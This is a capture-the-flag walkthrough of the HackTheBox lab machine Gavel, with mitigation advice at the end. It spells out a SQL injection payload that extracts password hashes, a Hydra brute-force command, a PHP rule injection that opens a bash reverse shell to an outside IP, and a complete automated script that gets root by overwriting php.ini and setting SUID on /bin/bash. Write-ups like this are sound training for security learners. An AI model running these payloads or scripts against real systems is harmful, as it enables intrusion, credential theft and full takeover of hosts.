Skip to main content
  1. Posts/

HTB Gavel - Complete Walkthrough

Table of Contents
HackTheBox Season 9 - This article is part of a series.
Part 1: This Article
Gavel is a medium-difficulty Linux machine from HackTheBox Season 9 that involves exploiting a PDO SQL injection vulnerability, achieving RCE through PHP rule evaluation, and escalating privileges by manipulating YAML configurations to bypass PHP restrictions.

Machine Information
#

AttributeValue
NameGavel
OSLinux
DifficultyMedium
Release DateNovember 2025
Points30

Reconnaissance
#

Initial Enumeration
#

Starting with a standard nmap scan to identify open services:

1
nmap -sC -sV -p- gavel.htb -oN nmap_full.txt

Key findings:

  • Port 80: HTTP (Apache)
  • Port 22: SSH (OpenSSH)

Web Application Discovery
#

Accessing http://gavel.htb reveals an online auction platform called “Gavel” with the following features:

  • User registration and authentication
  • Auction bidding system
  • Inventory management
  • Admin panel (role-based access)

Git Repository Exposure
#

Directory enumeration reveals an exposed .git directory:

1
2
curl http://gavel.htb/.git/
# Returns 200 OK - Git repository is accessible!

Foothold - Method 1: SQL Injection (Intended)
#

Extracting Source Code
#

Using GitTools to dump the exposed repository:

1
2
3
4
cd /opt
git clone https://github.com/internetwache/GitTools
cd GitTools/Dumper
./gitdumper.sh http://gavel.htb/.git/ ~/gavel-source

Source Code Analysis
#

Examining inventory.php reveals a PDO SQL injection vulnerability:

1
2
3
4
5
6
7
$sortItem = $_POST['sort'] ?? $_GET['sort'] ?? 'item_name';
$userId = $_POST['user_id'] ?? $_GET['user_id'] ?? $_SESSION['user']['id'];
$col = "`" . str_replace("`", "", $sortItem) . "`";

// Vulnerable query construction
$stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC");
$stmt->execute([$userId]);
ℹ️
Vulnerability: While user_id uses a prepared statement placeholder, the $col variable (derived from the sort parameter) is directly interpolated into the SQL query. The backtick stripping is insufficient to prevent injection.

Exploiting the SQL Injection
#

Vulnerability Type: PHP PDO Column Name Injection

First, register an account and login to obtain a valid session:

1
2
3
# Login and save session
curl -c cookies.txt -X POST http://gavel.htb/login.php \
  -d "username=testuser&password=testpass123"

Exploitation payload:

1
curl -b cookies.txt "http://gavel.htb/inventory.php?user_id=x\`+FROM+(SELECT+CONCAT(username,0x3a,password)+AS+\`x\`+from+users)y;--+-&sort=?;--+-%00"

Payload breakdown:

  • `user_id=x`` - Closes the column name backtick
  • FROM (SELECT CONCAT(username,0x3a,password) AS \x` from users)y` - Subquery to extract credentials
  • ;--+- - Terminates the query and comments out the rest
  • &sort=?;--+-%00 - Additional parameters to maintain query structure

The response contains usernames and password hashes in the HTML output.

Credential Extraction
#

Viewing the page source reveals:

1
2
auctioneer:$2y$10$[HASH]
admin:$2y$10$[HASH]

Foothold - Method 2: Brute Force (Unintended)
#

Username Enumeration
#

Testing registration with the username “admin” returns:

1
Username already taken

This confirms the admin and auctioneer users exist.

Password Brute Forcing
#

Using Hydra with a common password wordlist:

1
2
3
4
5
6
# Download wordlist
wget https://raw.githubusercontent.com/BBVA/waf-benchmark/master/waf_benchmark/datasets/sqli/darkweb2017-top10000.txt

# Brute force attack
hydra -l auctioneer -P darkweb2017-top10000.txt gavel.htb \
  http-post-form "/login.php:username=^USER^&password=^PASS^:F=Invalid"
ℹ️
Result: Valid credentials found - auctioneer:midnight1

Remote Code Execution
#

Understanding the Vulnerability
#

Analyzing bid_handler.php reveals dangerous PHP code evaluation:

1
2
3
4
5
6
$rule = $auction['rule'];
$rule_message = $auction['message'];

// Dynamically creates a PHP function from user-controlled input!
runkit_function_add('ruleCheck', '$current_bid, $previous_bid, $bidder', $rule);
$allowed = ruleCheck($current_bid, $previous_bid, $bidder);
ℹ️
Critical Vulnerability: The application uses runkit_function_add() to dynamically create PHP functions from auction rules stored in the database. If we can modify these rules, we can achieve arbitrary code execution.

Accessing the Admin Panel
#

Login with the auctioneer credentials:

1
2
Username: auctioneer
Password: midnight1

Navigate to http://gavel.htb/admin.php to access the admin interface.

Injecting Malicious Code
#

The admin panel contains forms to edit auction rules:

1
2
3
4
5
<form class="bidForm mt-4" method="POST">
    <input type="hidden" name="auction_id" value="597">
    <input type="text" name="rule" placeholder="Edit rule">
    <input type="text" name="message" placeholder="Edit message">
</form>

RCE Payload:

1
system('bash -c "bash -i >& /dev/tcp/10.10.14.221/4444 0>&1"'); return true;

Injection via curl:

1
2
3
4
5
6
7
8
9
# Setup listener
nc -lvnp 4444

# Inject malicious rule
curl -b cookies.txt "http://gavel.htb/admin.php" \
  -X POST \
  -d "auction_id=597" \
  -d "rule=system('bash -c \"bash -i >& /dev/tcp/10.10.14.221/4444 0>&1\"'); return true;" \
  -d "message=Pwned"

Triggering the Payload
#

Place a bid on the modified auction to trigger rule evaluation:

1
2
3
4
curl -b cookies.txt "http://gavel.htb/includes/bid_handler.php" \
  -X POST \
  -d "auction_id=597" \
  -d "bid_amount=99999"
ℹ️
Result: Reverse shell connection received as www-data

Shell Stabilization
#

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# Spawn proper TTY
python3 -c 'import pty;pty.spawn("/bin/bash")'

# Background shell (Ctrl+Z)
# In local terminal:
stty raw -echo; fg

# Reset and configure
reset
export TERM=xterm
export SHELL=/bin/bash

Lateral Movement
#

Switch to the auctioneer user:

1
2
3
4
5
www-data@gavel:/var/www/html$ su auctioneer
Password: midnight1

auctioneer@gavel:~$ cat user.txt
[USER_FLAG_HERE]

Privilege Escalation
#

Enumeration
#

Checking user privileges and group membership:

1
2
auctioneer@gavel:~$ id
uid=1001(auctioneer) gid=1002(auctioneer) groups=1002(auctioneer),1001(gavel-seller)

The gavel-seller group is interesting. Let’s find files owned by this group:

1
2
auctioneer@gavel:~$ find / -group gavel-seller 2>/dev/null
/usr/local/bin/gavel-util

Analyzing gavel-util
#

1
2
3
4
5
auctioneer@gavel:~$ ls -la /usr/local/bin/gavel-util
-rwxr-x--- 1 root gavel-seller 16472 Nov 29 2025 /usr/local/bin/gavel-util

auctioneer@gavel:~$ file /usr/local/bin/gavel-util
/usr/local/bin/gavel-util: ELF 64-bit LSB executable

Exploring related files in /opt/gavel:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
auctioneer@gavel:~$ ls -la /opt/gavel/
drwxr-xr-x  2 root root  4096 Nov 29  2025 .config
-rwxr-xr-x  1 root root 20480 Nov 29  2025 gaveld
-rw-r--r--  1 root root   398 Nov 29  2025 sample.yaml
drwxrwxrwx  2 root root  4096 Dec  6  2025 submission

auctioneer@gavel:~$ cat /opt/gavel/sample.yaml
name: ItemName
description: Item Description  
image: "data:image/png;base64,AA=="
price: 1000
rule_msg: "Rule message"
rule: |
  // PHP code here
  return true;

Understanding the Attack Vector
#

Examining the PHP configuration:

1
2
3
4
5
auctioneer@gavel:~$ cat /opt/gavel/.config/php/php.ini
engine=On
display_errors=Off
open_basedir=/opt/gavel
disable_functions=exec,system,popen,passthru,shell_exec,proc_open,proc_close,proc_terminate,pcntl_exec
ℹ️
Key Discovery: The gaveld daemon processes YAML submissions and executes the rule field as PHP code using a restricted php.ini configuration. However, we can overwrite this configuration file!

Exploitation Strategy
#

The privilege escalation involves two steps:

  1. Remove PHP restrictions by overwriting php.ini
  2. Execute system commands to gain root access

Step 1: Removing PHP Restrictions
#

Create the configuration overwrite payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
cd /tmp
mkdir priv && cd priv

cat << 'EOF_INI' > ini_overwrite.yaml
name: IniOverwrite
description: Removing restrictions
image: "data:image/png;base64,AA=="
price: 1337
rule_msg: "Config Pwned"
rule: |
  file_put_contents('/opt/gavel/.config/php/php.ini', "engine=On\ndisplay_errors=On\nopen_basedir=/\ndisable_functions=\n");
  return false;
EOF_INI

Submit the payload:

1
2
auctioneer@gavel:/tmp/priv$ /usr/local/bin/gavel-util submit ini_overwrite.yaml
Item submitted for review in next auction
ℹ️
Why only required fields?: Through trial and error (as mentioned in the chat logs), including only the required YAML keys prevents validation errors. Extra keys cause the submission to be rejected.

Step 2: Setting SUID on /bin/bash
#

Create the privilege escalation payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
cat << 'EOF_SUID' > root_suid.yaml
name: RootSuid
description: Getting Root
image: "data:image/png;base64,AA=="
price: 1337
rule_msg: "Shell Pwned"
rule: |
  system("chmod u+s /bin/bash");
  return false;
EOF_SUID

Submit and verify:

1
2
3
4
5
6
auctioneer@gavel:/tmp/priv$ /usr/local/bin/gavel-util submit root_suid.yaml
Item submitted for review in next auction

auctioneer@gavel:/tmp/priv$ sleep 3
auctioneer@gavel:/tmp/priv$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1396520 Mar 14  2024 /bin/bash
ℹ️
Success: The SUID bit is set on /bin/bash!

Getting Root
#

1
2
3
4
5
6
auctioneer@gavel:/tmp/priv$ /bin/bash -p
bash-5.1# id
uid=1001(auctioneer) gid=1002(auctioneer) euid=0(root) groups=1002(auctioneer),1001(gavel-seller)

bash-5.1# cat /root/root.txt
[ROOT_FLAG_HERE]

Automated Exploit Script
#

For those who want to automate the privilege escalation process, here’s a complete exploit script with fallback mechanisms:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!/bin/bash
echo "[*] Screw Gavel Root Exploit"
echo "[*] Stand-by..."

WORKDIR="/tmp/pwn_$(date +%s)"
mkdir -p "$WORKDIR"
cd "$WORKDIR"

echo "[*] Step 1: Overwriting php.ini to remove disable_functions and open_basedir..."
cat << 'EOF_INI' > ini_overwrite.yaml
name: IniOverwrite
description: Removing restrictions
image: "data:image/png;base64,AA=="
price: 1337
rule_msg: "Config Pwned"
rule: |
  file_put_contents('/opt/gavel/.config/php/php.ini', "engine=On\ndisplay_errors=On\nopen_basedir=/\ndisable_functions=\n");
  return false;
EOF_INI

/usr/local/bin/gavel-util submit ini_overwrite.yaml
echo "[*] Config overwrite submitted. Waiting 5 seconds for stability..."
sleep 5

echo "[*] Step 2: Triggering system() to SUID /bin/bash..."
cat << 'EOF_SUID' > root_suid.yaml
name: RootSuid
description: Getting Root
image: "data:image/png;base64,AA=="
price: 1337
rule_msg: "Shell Pwned"
rule: |
  system("chmod u+s /bin/bash");
  return false;
EOF_SUID

/usr/local/bin/gavel-util submit root_suid.yaml
echo "[*] Payload submitted. Checking /bin/bash permissions..."
sleep 2

if ls -la /bin/bash | grep -q "rws"; then
    echo "[+] SUCCESS! /bin/bash is now SUID root."
    echo "[*] Spawning root shell and reading /root/root.txt ..."
    /bin/bash -p -c 'cat /root/root.txt; exec /bin/bash -p'
else
    echo "[-] Exploit failed. /bin/bash is not SUID."
    echo "[*] Trying alternative payload (copy bash)..."
    
    cat << 'EOF_COPY' > root_copy.yaml
name: RootCopy
description: Getting Root Alt
image: "data:image/png;base64,AA=="
price: 1337
rule_msg: "Shell Pwned Alt"
rule: |
  copy('/bin/bash', '/tmp/rootbash');
  chmod('/tmp/rootbash', 04755);
  return false;
EOF_COPY
    
    /usr/local/bin/gavel-util submit root_copy.yaml
    sleep 2
    
    if [ -f /tmp/rootbash ]; then
        echo "[+] Alternative payload SUCCESS! /tmp/rootbash created."
        echo "[*] Spawning root shell and reading /root/root.txt ..."
        /tmp/rootbash -p -c 'cat /root/root.txt; exec /tmp/rootbash -p'
    else
        echo "[-] All attempts failed."
        exit 1
    fi
fi

Usage
#

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
# Transfer the script to the target
auctioneer@gavel:~$ cat > root_exploit.sh
# Paste the script above
# Press Ctrl+D

# Make it executable
auctioneer@gavel:~$ chmod +x root_exploit.sh

# Run the exploit
auctioneer@gavel:~$ ./root_exploit.sh

Exploit Flow
#

graph TD
    A[Start Exploit] --> B[Create Working Directory]
    B --> C[Generate php.ini Overwrite YAML]
    C --> D[Submit via gavel-util]
    D --> E[Wait 5 seconds]
    E --> F[Generate SUID Payload YAML]
    F --> G[Submit via gavel-util]
    G --> H{Check /bin/bash SUID?}
    H -->|Yes| I[Execute /bin/bash -p]
    H -->|No| J[Try Alternative: Copy bash]
    J --> K[Submit Copy Payload]
    K --> L{Check /tmp/rootbash?}
    L -->|Yes| M[Execute /tmp/rootbash -p]
    L -->|No| N[Exploit Failed]
    I --> O[Root Shell Obtained]
    M --> O
    O --> P[Read /root/root.txt]
ℹ️

Why Two Methods?

The script includes a fallback mechanism:

  1. Primary: Directly sets SUID bit on /bin/bash
  2. Fallback: Creates a copy of bash in /tmp with SUID permissions

This ensures the exploit works even if there are restrictions on modifying system binaries directly.


Key Vulnerabilities Summary
#

1. Exposed Git Repository
#

  • Impact: Source code disclosure
  • Mitigation: Add .git/ to .htaccess deny rules or remove from production

2. PDO SQL Injection (CVE-like)
#

  • Location: inventory.php - sort parameter
  • Type: Column name injection in prepared statement
  • Impact: Database credential extraction
  • Mitigation: Use whitelist validation for column names
1
2
3
4
5
6
7
8
// Vulnerable code
$col = "`" . str_replace("`", "", $sortItem) . "`";
$stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ?");

// Secure alternative
$allowedColumns = ['item_name', 'quantity'];
$col = in_array($sortItem, $allowedColumns) ? $sortItem : 'item_name';
$stmt = $pdo->prepare("SELECT `$col` FROM inventory WHERE user_id = ?");

3. Weak Credentials
#

  • Issue: Common password in top-1000 list
  • Mitigation: Enforce strong password policies

4. Unsafe PHP Code Evaluation
#

  • Location: bid_handler.php
  • Function: runkit_function_add()
  • Impact: Remote code execution
  • Mitigation: Never execute user-controlled strings as code
1
2
3
4
5
// Vulnerable pattern
runkit_function_add('ruleCheck', '$current_bid, $previous_bid, $bidder', $user_controlled_rule);

// Secure alternative
// Use a safe expression evaluator or predefined rule system

5. Writable PHP Configuration
#

  • Issue: Unprivileged process can modify php.ini
  • Impact: Bypass security restrictions
  • Mitigation: Proper file permissions (644 root:root)

6. Dangerous Binary Permissions
#

  • Issue: gavel-util allows arbitrary YAML submission
  • Impact: Privilege escalation via PHP code execution
  • Mitigation: Validate and sanitize YAML content, restrict file operations

Lessons Learned
#

ℹ️

Technical Takeaways
#

  1. PDO Prepared Statements Are Not Magic: While prepared statements prevent traditional SQL injection, column/table names must still be validated separately.

  2. Never Trust User Input in Code Evaluation: Functions like eval(), create_function(), and runkit_function_add() should never process user-controlled data.

  3. Defense in Depth: Multiple security layers failed:

    • Weak authentication
    • SQL injection
    • Unsafe deserialization (YAML)
    • Improper file permissions
  4. Configuration Management: Runtime configurations (like php.ini) should be immutable by web processes.



Tools Used
#

  • nmap: Port scanning and service enumeration
  • GitTools: Git repository extraction
  • Hydra: Password brute forcing
  • curl: Web request manipulation
  • Burp Suite: HTTP traffic analysis (optional)
  • netcat: Reverse shell listener

References
#


Conclusion
#

Gavel demonstrates the dangers of combining multiple security weaknesses. The machine teaches valuable lessons about:

  • SQL injection beyond traditional patterns
  • The risks of dynamic code evaluation
  • Proper access control and file permissions
  • The importance of secure configuration management

Try Gavel on HackTheBox

Thanks for reading! If you found this writeup helpful, consider sharing it with others learning penetration testing and web exploitation.

HTB Season 9 Medium Linux Web

I hope this was helpful
Posted:
Time since posted: calculating...
System.Motivation.Load()
Reply by Email
Adonijah Kiplimo
Author
Adonijah Kiplimo
Cybersecurity professional specializing in Network & Cloud Security, Digital Forensics, and Penetration Testing. Passionate about sharing knowledge and empowering others through hands-on security training.
HackTheBox Season 9 - This article is part of a series.
Part 1: This Article

Related